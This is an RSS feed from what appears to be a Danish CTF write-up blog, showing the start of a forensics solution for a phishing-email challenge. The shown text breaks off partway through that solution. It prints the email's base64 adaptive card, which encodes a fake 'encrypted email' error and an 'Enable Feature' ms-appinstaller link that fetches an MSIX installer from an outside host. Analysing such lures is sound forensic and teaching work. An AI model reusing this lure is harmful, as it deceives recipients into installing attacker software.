<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Ha1fdan</title><link>https://ha1fdan.xyz/en/posts/</link><description>Recent content in Posts on Ha1fdan</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><copyright>ha1fdan.xyz</copyright><lastBuildDate>Sat, 28 Feb 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://ha1fdan.xyz/en/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>DDC - Fast Track Junior 2026 : Writeups</title><link>https://ha1fdan.xyz/en/posts/ddc_fasttrack_junior_2026/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/ddc_fasttrack_junior_2026/</guid><description>&lt;h2 id="scoreboard"&gt;Scoreboard:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/ddc_fasttrack_2026/scoreboard.png" alt="Scoreboard"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href="https://ha1fdan.xyz/ddc_fasttrack_2026/my-solves.png"&gt;Link til mine løste opgaver inklusiv tidspunkt&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem"&gt;Opgaver løst (I den rækkefølge jeg løste dem):&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#youve-got-mail-2"&gt;Youve got mail 2!&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#youve-got-mail"&gt;Youve got mail!&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#peaceful"&gt;Peaceful&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#windows-forensics-hell"&gt;Windows Forensics Hell&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#reactor"&gt;Reactor&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#mitosis"&gt;Mitosis&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#squeaky-clean-1"&gt;Squeaky Clean 1&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot 2 Root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#corsica"&gt;Corsica&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#backup"&gt;Backup&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="youve-got-mail-2"&gt;Youve got mail 2!&lt;/h2&gt;
&lt;p&gt;Dammit!&amp;hellip; I did it again&amp;hellip; But this time it seemed sooooo convincing? Like what even happened?&amp;hellip;&lt;/p&gt;</description><content type="html"><![CDATA[<h2 id="scoreboard">Scoreboard:</h2>
<p><img src="/ddc_fasttrack_2026/scoreboard.png" alt="Scoreboard"></p>
<hr>
<p><a href="/ddc_fasttrack_2026/my-solves.png">Link til mine løste opgaver inklusiv tidspunkt</a></p>
<h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem">Opgaver løst (I den rækkefølge jeg løste dem):</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Category</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#youve-got-mail-2">Youve got mail 2!</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#youve-got-mail">Youve got mail!</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#peaceful">Peaceful</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#windows-forensics-hell">Windows Forensics Hell</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#reactor">Reactor</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#mitosis">Mitosis</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#squeaky-clean-1">Squeaky Clean 1</a></td>
					<td>Boot 2 Root</td>
			</tr>
			<tr>
					<td><a href="#corsica">Corsica</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#backup">Backup</a></td>
					<td>Web exploitation</td>
			</tr>
	</tbody>
</table>
<hr>
<h2 id="youve-got-mail-2">Youve got mail 2!</h2>
<p>Dammit!&hellip; I did it again&hellip; But this time it seemed sooooo convincing? Like what even happened?&hellip;</p>
<p>Disclaimer: The handout file may be flagged as malware by antivirus software. It is recommended to run it in a sandbox or isolated environment.</p>
<p>Vedhæftet fil: <a href="/ddc_fasttrack_2026/forensics/forensics_youvegotmailtwo.zip">forensics_youvegotmailtwo.zip</a></p>
<p><strong>Løsning:</strong> Efter at have unzipppet zip filen, får vi en .eml fil. Det er en email, og i emailen er et meget suspekt stykke javascript kode.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">type</span><span class="o">=</span><span class="s">3D&#34;application/ld+json&#34;</span> <span class="na">id</span><span class="o">=</span><span class="s">3D&#34;ActionableMessageCardScript&#34;</span><span class="p">&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;@type&#34;</span><span class="o">:</span> <span class="s2">&#34;SignedAdaptiveCard&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;@context&#34;</span><span class="o">:</span> <span class="s2">&#34;http://schema.org/extensions&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;signedAdaptiveCard&#34;</span><span class="o">:</span> <span class="s2">&#34;eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1YyI6Ik1JSU=
</span></span></span><span class="line"><span class="cl"><span class="s2">pTekNDQnpPZ0F3SUJBZ0lUVlFBRE5RWVJReDljd1lLVW5RQUFBQU0xQmpBTkJna3Foa2lHOXcwQ=
</span></span></span><span class="line"><span class="cl"><span class="s2">kFRd0ZBREJYTVFzd0NRWURWUVFHRXdKVlV6RWVNQndHQTFVRUNoTVZUV2xqY205emIyWjBJRU52=
</span></span></span><span class="line"><span class="cl"><span class="s2">Y25CdmNtRjBhVzl1TVNnd0pnWURWUVFERXg5TmFXTnliM052Wm5RZ1ZFeFRJRWN5SUZKVFFTQkR=
</span></span></span><span class="line"><span class="cl"><span class="s2">RU0JQUTFOUUlERTJNQjRYRFRJMk1ERXlNREl3TkRNeE5sb1hEVEkyTURjeE9USXdORE14Tmxvd2=
</span></span></span><span class="line"><span class="cl"><span class="s2">VERUxNQWtHQTFVRUJoTUNWVk14Q3pBSkJnTlZCQWdUQWxkQk1SQXdEZ1lEVlFRSEV3ZFNaV1J0Y=
</span></span></span><span class="line"><span class="cl"><span class="s2">jI1a01SNHdIQVlEVlFRS0V4Vk5hV055YjNOdlpuUWdRMjl5Y0c5eVlYUnBiMjR4S2pBb0JnTlZC=
</span></span></span><span class="line"><span class="cl"><span class="s2">QU1USVdWdmNHMWhhV3d1YjJSemNHNXZkR2xtZVM1emFHRnlaWEJ2YVc1MExtTnZiVENDQVNJd0R=
</span></span></span><span class="line"><span class="cl"><span class="s2">RWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFLb2VTTStVL1hIS1hXY2ZVU2xxOT=
</span></span></span><span class="line"><span class="cl"><span class="s2">lNcTVoUlhRb2toNlBKei9LS293b3ErQjM0Rk9EQ0VkZGhuZ0pteGhzRGVaNFhLMUt5ZWc3Vjk4K=
</span></span></span><span class="line"><span class="cl"><span class="s2">1FMOXdJKytEdDM1dEF0QUY4NFFHbHZKbm93NzBXUFc0U3lTTmVqUU9GZUE4bDE5YkFYS2JLNnRL=
</span></span></span><span class="line"><span class="cl"><span class="s2">S1dLQTk4T2JlUW9VQUJaNklxMjhEWTlkWGlldFU1b2k3SXlPZEhuRDdNTmp1TUVzVUx6NmFTQzV=
</span></span></span><span class="line"><span class="cl"><span class="s2">yajd2TEZpNWhXdHFXTTcyd0llL25DdTNJRDE2NytmekJOTEpGbE1oOHV5bTBnRHc4VHBPUE42UH=
</span></span></span><span class="line"><span class="cl"><span class="s2">ZZaHRPTFE4NXZ0WFduZUlocDlwQjhuRHBJQUZSTXhDZUlGcGVZb3Jqc1kyWVRSOWMrQXR3by9DW=
</span></span></span><span class="line"><span class="cl"><span class="s2">FZWbVZzN2RrWG42c1EvdFhCRm9XT215Zit4ZjVuRW9zS1lKcC93dkVDQXdFQUFhT0NCTzB3Z2dU=
</span></span></span><span class="line"><span class="cl"><span class="s2">cE1JSUJmZ1lLS3dZQkJBSFdlUUlFQWdTQ0FXNEVnZ0ZxQVdnQWRnRFlDVlU3bEU5Ni84Z1dHVyt=
</span></span></span><span class="line"><span class="cl"><span class="s2">VVDRXcnNQajhYb2RWSmc4VjBTNXl1MFZMRkFBQUFadmRMdnBXQUFBRUF3QkhNRVVDSVFEYktvOG=
</span></span></span><span class="line"><span class="cl"><span class="s2">dsV0lHdlBkeGJPSlhBeTN2UmpkYm9oZ1d2K3pHZTRveHZ1dHFUUUlnZW8zTVNjcEFEK0JoUEVNM=
</span></span></span><span class="line"><span class="cl"><span class="s2">3FNblVwTGc4Qzlpb3ExTnZhTTlDQ2pqdUx3RUFkUURDTVg1WFJSbWpSZTUvT042eWtFSHJ4OElo=
</span></span></span><span class="line"><span class="cl"><span class="s2">V2lLL2Y5VzFyWGFhMlE1U3pRQUFBWnZkTHZzV0FBQUVBd0JHTUVRQ0lFTERJZWd1bThjOW5hUUl=
</span></span></span><span class="line"><span class="cl"><span class="s2">4alpRbkhlSHlGazliWDFPQnNWZFh2c283QVhwQWlCdjNCSlh1R2lIYk04dzNSVkF2SU95YkRtRX=
</span></span></span><span class="line"><span class="cl"><span class="s2">hDT0JnbkdraFhIZFpSZnRwUUIzQU1panhIL0hzNjI1TldzQlAycDZFbTNqT2s1RHBjWkcrWmV0T=
</span></span></span><span class="line"><span class="cl"><span class="s2">1hXWkhjK2FBQUFCbTkwdSt5QUFBQVFEQUVnd1JnSWhBTks1ekRqdTJrd3NGaXJCb1AvODAwcjBU=
</span></span></span><span class="line"><span class="cl"><span class="s2">cnNkdGFLQlc3M2VHUXhQcWdPcUFpRUFxOHBSM0pHNnJYTDhMdGluamNpSHJuekxDUy9jMGhDQXp=
</span></span></span><span class="line"><span class="cl"><span class="s2">3YUpnWC8yTGpVd0d3WUpLd1lCQkFHQ054VUtCQTR3RERBS0JnZ3JCZ0VGQlFjREFUQThCZ2tyQm=
</span></span></span><span class="line"><span class="cl"><span class="s2">dFRUFZSTNGUWNFTHpBdEJpVXJCZ0VFQVlJM0ZRaUh2ZGNiZ2VmclJvS0JuUzZPMEF5SDhOb2RYW=
</span></span></span><span class="line"><span class="cl"><span class="s2">VBwdzJlQ3RLTk1BZ0ZrQWdFZ01JSUJDd1lJS3dZQkJRVUhBUUVFZ2Y0d2dmc3dZUVlJS3dZQkJR=
</span></span></span><span class="line"><span class="cl"><span class="s2">VUhNQUtHVldoMGRIQTZMeTkzZDNjdWJXbGpjbTl6YjJaMExtTnZiUzl3YTJsdmNITXZZMlZ5ZEh=
</span></span></span><span class="line"><span class="cl"><span class="s2">NdlRXbGpjbTl6YjJaMEpUSXdWRXhUSlRJd1J6SWxNakJTVTBFbE1qQkRRU1V5TUU5RFUxQWxNak=
</span></span></span><span class="line"><span class="cl"><span class="s2">F4Tmk1amNuUXdad1lJS3dZQkJRVUhNQUtHVzJoMGRIQTZMeTlqWVdsemMzVmxjbk11YldsamNtO=
</span></span></span><span class="line"><span class="cl"><span class="s2">XpiMlowTG1OdmJTOXdhMmx2Y0hNdlkyVnlkSE12VFdsamNtOXpiMlowSlRJd1ZFeFRKVEl3UnpJ=
</span></span></span><span class="line"><span class="cl"><span class="s2">bE1qQlNVMEVsTWpCRFFTVXlNRTlEVTFBbE1qQXhOaTVqY25Rd0xRWUlLd1lCQlFVSE1BR0dJV2g=
</span></span></span><span class="line"><span class="cl"><span class="s2">wZEhBNkx5OXZibVZ2WTNOd0xtMXBZM0p2YzI5bWRDNWpiMjB2YjJOemNEQWRCZ05WSFE0RUZnUV=
</span></span></span><span class="line"><span class="cl"><span class="s2">VNWmoxOTlHT1pXZWdpN3RRbG5NWnA5UHdaWGt3RGdZRFZSMFBBUUgvQkFRREFnV2dNQ3dHQTFVZ=
</span></span></span><span class="line"><span class="cl"><span class="s2">EVRUWxNQ09DSVdWdmNHMWhhV3d1YjJSemNHNXZkR2xtZVM1emFHRnlaWEJ2YVc1MExtTnZiVEFN=
</span></span></span><span class="line"><span class="cl"><span class="s2">QmdOVkhSTUJBZjhFQWpBQU1JSHhCZ05WSFI4RWdla3dnZVl3Z2VPZ2dlQ2dnZDJHYkdoMGRIQTZ=
</span></span></span><span class="line"><span class="cl"><span class="s2">MeTkzZDNjdWJXbGpjbTl6YjJaMExtTnZiUzl3YTJsdmNITXZZM0pzTDNCaGNuUnBkR2x2Ymk5Tm=
</span></span></span><span class="line"><span class="cl"><span class="s2">FXTnliM052Wm5RbE1qQlVURk1sTWpCSE1pVXlNRkpUUVNVeU1FTkJKVEl3VDBOVFVDVXlNREUyW=
</span></span></span><span class="line"><span class="cl"><span class="s2">DFCaGNuUnBkR2x2YmpBd01EWTRMbU55YkladGFIUjBjRG92TDJOeWJESXViV2xqY205emIyWjBM=
</span></span></span><span class="line"><span class="cl"><span class="s2">bU52YlM5d2EybHZjSE12WTNKc0wzQmhjblJwZEdsdmJpOU5hV055YjNOdlpuUWxNakJVVEZNbE1=
</span></span></span><span class="line"><span class="cl"><span class="s2">qQkhNaVV5TUZKVFFTVXlNRU5CSlRJd1QwTlRVQ1V5TURFMlgxQmhjblJwZEdsdmJqQXdNRFk0TG=
</span></span></span><span class="line"><span class="cl"><span class="s2">1OeWJEQm1CZ05WSFNBRVh6QmRNQWdHQm1lQkRBRUNBakJSQmd3ckJnRUVBWUkzVElOOUFRRXdRV=
</span></span></span><span class="line"><span class="cl"><span class="s2">EEvQmdnckJnRUZCUWNDQVJZemFIUjBjRG92TDNkM2R5NXRhV055YjNOdlpuUXVZMjl0TDNCcmFX=
</span></span></span><span class="line"><span class="cl"><span class="s2">OXdjeTlFYjJOekwxSmxjRzl6YVhSdmNua3VhSFJ0TUI4R0ExVWRJd1FZTUJhQUZBWTU4RmJSN1p=
</span></span></span><span class="line"><span class="cl"><span class="s2">ESU5xT2dENVQrWXBTbjV2dzNNQk1HQTFVZEpRUU1NQW9HQ0NzR0FRVUZCd01CTUEwR0NTcUdTSW=
</span></span></span><span class="line"><span class="cl"><span class="s2">IzRFFFQkRBVUFBNElDQVFCZmE5TW1DeUI4bGlzeGpFR0ZQRWRsZDU1ci9ZTWJITEFlbFo5akFRL=
</span></span></span><span class="line"><span class="cl"><span class="s2">0laeFB6MFRxaTRjMU5QKy8wOTE1d05GSk1rS1l2OGFlc1JpTmFUNHZ5MFQ1VGVSQWo4anFqbm1i=
</span></span></span><span class="line"><span class="cl"><span class="s2">OU9sSlF2R3lJTGQzUWhTZHEzSXhqeTdaRFdTOGkxb3JYOTJOeXVwbFJ4QjZvQkRmZG42NlRhTFo=
</span></span></span><span class="line"><span class="cl"><span class="s2">yQ3pubmxPTTdDSFN0MFgxUGFrc2J2U2dYTFN0czE0UjN6VGVudmVUenF4czFZRUVLdVhITDFNcD=
</span></span></span><span class="line"><span class="cl"><span class="s2">NpemdraUxwdTNvMVEwTDNOMjgwbVpvbkdnMXJ1TW5GZ2svaFFqakZEY0d1UWNDbVZHdEl3KzZPT=
</span></span></span><span class="line"><span class="cl"><span class="s2">2FlMGoxcDBZeE5xS0RXbEE3SUpYTHRKUDdQbVdNQ2FsTlJhYXVSZ2tqMGNnRWQ0WVhrYzdEWEhm=
</span></span></span><span class="line"><span class="cl"><span class="s2">OEhpMStydFdVWjA1MjF3dFo2QXZ0ZWY3dGhoZ0t2MXErcW1ud0FqS0hpMC9SckhpZktGUVRXeHV=
</span></span></span><span class="line"><span class="cl"><span class="s2">oQTBtZk5YWGh1cStBSGdoRGhxQm43LzJ1QWlnQXVXeUFOcU85RnZDNkp3VXFKZkcxSnA0V1gzb3=
</span></span></span><span class="line"><span class="cl"><span class="s2">FhTFU2S3RKc2NuaHQxcDVoV1NHWmdqbk9EdDRNOFl3aUNydk5PWFVWUnVCNnFBc0YyY2YxZmNoO=
</span></span></span><span class="line"><span class="cl"><span class="s2">XZSV3lJOHZIWnFFRmVCc3NNWEowbEZSdVYxeHVFNkduR0tUQkVmdXNTMmhFZzlydzBjU2NRV0Vx=
</span></span></span><span class="line"><span class="cl"><span class="s2">SGFibXRKZ3dPT1dFMDkrUVdyeUJ6QW95ZERGUlVXN1N4QXJSaVF3T1JvMmFnWU85cjVsNEJWdkd=
</span></span></span><span class="line"><span class="cl"><span class="s2">UZ0FvNzN1TWNnd202dzlUWW1kTlgvbEZHcXROUG9jWnJnN0MyWVlwN1JqMUxlV0FIOU5pVEZhOW=
</span></span></span><span class="line"><span class="cl"><span class="s2">VkM1NTa0ZvZVpHY3pmOEw3S3RtVjVYalE9PSJ9eyJzZW5kZXIiOiJqZW5zLm15cnVwQGNhcm5wZ=
</span></span></span><span class="line"><span class="cl"><span class="s2">mlyZS5kZGMiLCJvcmlnaW5hdG9yIjoiYWJkMTdiNGItZTM2My00OTdhLTkwZGMtYTFhNjNiM2I5=
</span></span></span><span class="line"><span class="cl"><span class="s2">NWM1IiwiYWRhcHRpdmVDYXJkU2VyaWFsaXplZCI6IntcbiAgICAiJHNjaGVtYSI6ICJodHRwOi8=
</span></span></span><span class="line"><span class="cl"><span class="s2">vYWRhcHRpdmVjYXJkcy5pby9zY2hlbWFzL2FkYXB0aXZlLWNhcmQuanNvbiIsXG4gICAgInR5cG=
</span></span></span><span class="line"><span class="cl"><span class="s2">UiOiAiQWRhcHRpdmVDYXJkIixcbiAgICAidmVyc2lvbiI6ICIxLjAiLFxuICAgICJib2R5IjogW=
</span></span></span><span class="line"><span class="cl"><span class="s2">1xuICAgICAgICB7XG4gICAgICAgICAgICAidHlwZSI6ICJDb2x1bW5TZXQiLFxuICAgICAgICAg=
</span></span></span><span class="line"><span class="cl"><span class="s2">ICAgImlkIjogIjFlZGUyYWJhLTYxYjktZmFhMC05ODk1LTllZDBjMjZiMmU2ZiIsXG4gICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAiY29sdW1ucyI6IFtcbiAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgICJ0eXBlIjogIkNvbHVtbiIsXG4gICAgICAgICAgICAgICAgICAgICJpZCI6ICJlNTc1NjI0M=
</span></span></span><span class="line"><span class="cl"><span class="s2">i0wOTYzLTM3YTItN2NiNC00Mzk3ODg2ZDYwYmIiLFxuICAgICAgICAgICAgICAgICAgICAicGFk=
</span></span></span><span class="line"><span class="cl"><span class="s2">ZGluZyI6ICJOb25lIixcbiAgICAgICAgICAgICAgICAgICAgIndpZHRoIjogInN0cmV0Y2giLFx=
</span></span></span><span class="line"><span class="cl"><span class="s2">uICAgICAgICAgICAgICAgICAgICAiaXRlbXMiOiBbXG4gICAgICAgICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">B7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgInR5cGUiOiAiVGV4dEJsb2NrIixcbiAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICAgICAgICAgICAgICAgICAgICAiaWQiOiAiMjBmMzgzM2UtMDQzNS01Yzg3LWZhZDEt=
</span></span></span><span class="line"><span class="cl"><span class="s2">YjUyOGUwMDQ2ZmI2IixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGV4dCI6ICJNaWN=
</span></span></span><span class="line"><span class="cl"><span class="s2">yb3NvZnQgU2VjdXJlIEVtYWlscyIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgIndyYX=
</span></span></span><span class="line"><span class="cl"><span class="s2">AiOiB0cnVlXG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">F0sXG4gICAgICAgICAgICAgICAgICAgICJ2ZXJ0aWNhbENvbnRlbnRBbGlnbm1lbnQiOiAiQ2Vu=
</span></span></span><span class="line"><span class="cl"><span class="s2">dGVyIlxuICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAge1xuICAgICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAgICAidHlwZSI6ICJDb2x1bW4iLFxuICAgICAgICAgICAgICAgICAgICAiaWQiOiAiNz=
</span></span></span><span class="line"><span class="cl"><span class="s2">QyMTVhMjYtZmE4Yi1lNTQ5LWNjZWQtN2Y5OWZkMzRhNjYxIixcbiAgICAgICAgICAgICAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgInBhZGRpbmciOiAiTm9uZSIsXG4gICAgICAgICAgICAgICAgICAgICJ3aWR0aCI6ICJhdXRv=
</span></span></span><span class="line"><span class="cl"><span class="s2">IixcbiAgICAgICAgICAgICAgICAgICAgIml0ZW1zIjogW10sXG4gICAgICAgICAgICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICJob3Jpem9udGFsQWxpZ25tZW50IjogIlJpZ2h0IlxuICAgICAgICAgICAgICAgIH1cbiAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgICAgICAgIF0sXG4gICAgICAgICAgICAicGFkZGluZyI6IHtcbiAgICAgICAgICAgICAgICAid=
</span></span></span><span class="line"><span class="cl"><span class="s2">G9wIjogIlNtYWxsIixcbiAgICAgICAgICAgICAgICAiYm90dG9tIjogIlNtYWxsIixcbiAgICAg=
</span></span></span><span class="line"><span class="cl"><span class="s2">ICAgICAgICAgICAibGVmdCI6ICJEZWZhdWx0IixcbiAgICAgICAgICAgICAgICAicmlnaHQiOiA=
</span></span></span><span class="line"><span class="cl"><span class="s2">iU21hbGwiXG4gICAgICAgICAgICB9LFxuICAgICAgICAgICAgInN0eWxlIjogImVtcGhhc2lzIl=
</span></span></span><span class="line"><span class="cl"><span class="s2">xuICAgICAgICB9LFxuICAgICAgICB7XG4gICAgICAgICAgICAidHlwZSI6ICJDb250YWluZXIiL=
</span></span></span><span class="line"><span class="cl"><span class="s2">FxuICAgICAgICAgICAgImlkIjogInBhZ2UyIixcbiAgICAgICAgICAgICJwYWRkaW5nIjogIkRl=
</span></span></span><span class="line"><span class="cl"><span class="s2">ZmF1bHQiLFxuICAgICAgICAgICAgIml0ZW1zIjogW1xuICAgICAgICAgICAgICAgIHtcbiAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAgICAgICAgICAgInR5cGUiOiAiVGV4dEJsb2NrIixcbiAgICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgImlkIjogImMzMTk4ODU2LWU3NWItNDIxMy04YjAyLWY0Mzk2MzcxNTBjZCIsXG4gICAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICAgICAgICJ0ZXh0IjogIkVycm9yISIsXG4gICAgICAgICAgICAgICAgICAgICJ3cmFw=
</span></span></span><span class="line"><span class="cl"><span class="s2">IjogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgInNpemUiOiAiTGFyZ2UiLFxuICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAgICAgICAid2VpZ2h0IjogIkJvbGRlciJcbiAgICAgICAgICAgICAgICB9LFxuICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgInR5cGUiOiAiVGV4dEJsb2NrIixcb=
</span></span></span><span class="line"><span class="cl"><span class="s2">iAgICAgICAgICAgICAgICAgICAgImlkIjogIjFhOWFhZmVjLTQwMmItNzlmYi0zNDBjLWNjY2I3=
</span></span></span><span class="line"><span class="cl"><span class="s2">MTU0MjMzNSIsXG4gICAgICAgICAgICAgICAgICAgICJ0ZXh0IjogIllvdXIgbWFjaGluZSBkb2V=
</span></span></span><span class="line"><span class="cl"><span class="s2">zIG5vdCBzdXBwb3J0IHRoZSByZXF1aXJlZCBmZWF0dXJlcyBmb3Igb3BlbmluZyBhbiBlbmNyeX=
</span></span></span><span class="line"><span class="cl"><span class="s2">B0ZWQgZW1haWwuIFBsZWFzZSBlbmFibGUgdGhlIGZlYXR1cmUgdG8gdmlldyB0aGUgbWVzc2FnZ=
</span></span></span><span class="line"><span class="cl"><span class="s2">SIsXG4gICAgICAgICAgICAgICAgICAgICJ3cmFwIjogdHJ1ZVxuICAgICAgICAgICAgICAgIH0s=
</span></span></span><span class="line"><span class="cl"><span class="s2">XG4gICAgICAgICAgICAgICAge1xuICAgICAgICAgICAgICAgICAgICAidHlwZSI6ICJBY3Rpb25=
</span></span></span><span class="line"><span class="cl"><span class="s2">TZXQiLFxuICAgICAgICAgICAgICAgICAgICAiaWQiOiAiYjc0Y2Q2ZTgtNjMzOC1lMzZjLWZhNG=
</span></span></span><span class="line"><span class="cl"><span class="s2">EtNzNmZTBhMzA5MGRmIixcbiAgICAgICAgICAgICAgICAgICAgImFjdGlvbnMiOiBbXG4gICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgInR5cGUi=
</span></span></span><span class="line"><span class="cl"><span class="s2">OiAiQWN0aW9uLk9wZW5VcmwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpZCI6ICI=
</span></span></span><span class="line"><span class="cl"><span class="s2">zNWUwNGQzYy1jOGZlLWNhYWItOWRiOC1jYWE1NGIwMDgzZmEiLFxuICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgICAgICAgICAgICJ0aXRsZSI6ICJFbmFibGUgRmVhdHVyZSIsXG4gICAgICAgICAgICAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICAgICAgInVybCI6ICJtcy1hcHBpbnN0YWxsZXI6P3NvdXJjZT1odHRwczovL3NlY3Vy=
</span></span></span><span class="line"><span class="cl"><span class="s2">ZWVtYWlsLmN0ZnRlY2gudWsvaW5zdGFsbGVyLm1zaXgiLFxuICAgICAgICAgICAgICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAgICJzdHlsZSI6ICJwb3NpdGl2ZSIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgImlzUHJpbWFyeSI6IHRydWVcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICAgICAgXSxcbiAgICAgICAgICAgICAgICAgICAgImhvcml6b250YWxBbGlnbm1lbnQi=
</span></span></span><span class="line"><span class="cl"><span class="s2">OiAiUmlnaHQiXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgXSxcbiAgICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICJpc1Zpc2libGUiOiBmYWxzZVxuICAgICAgICB9LFxuICAgICAgICB7XG4gICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AidHlwZSI6ICJDb250YWluZXIiLFxuICAgICAgICAgICAgImlkIjogInBhZ2UxIixcbiAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICJwYWRkaW5nIjogIkRlZmF1bHQiLFxuICAgICAgICAgICAgInNwYWNpbmciOiAiTm9u=
</span></span></span><span class="line"><span class="cl"><span class="s2">ZSIsXG4gICAgICAgICAgICAiaXRlbXMiOiBbXG4gICAgICAgICAgICAgICAge1xuICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAgICAgICAidHlwZSI6ICJUZXh0QmxvY2siLFxuICAgICAgICAgICAgICAgICAgICAiaW=
</span></span></span><span class="line"><span class="cl"><span class="s2">QiOiAiNDQ5MDY3OTctMjIyZi05ZmUyLTBiN2EtZTNlZTIxYzZlMzgwIixcbiAgICAgICAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICAgInRleHQiOiAiWW91IGhhdmUgYSBuZXcgZW5jcnlwdGVkIGVtYWlsIixcbiAgICAg=
</span></span></span><span class="line"><span class="cl"><span class="s2">ICAgICAgICAgICAgICAgIndyYXAiOiB0cnVlLFxuICAgICAgICAgICAgICAgICAgICAid2VpZ2h=
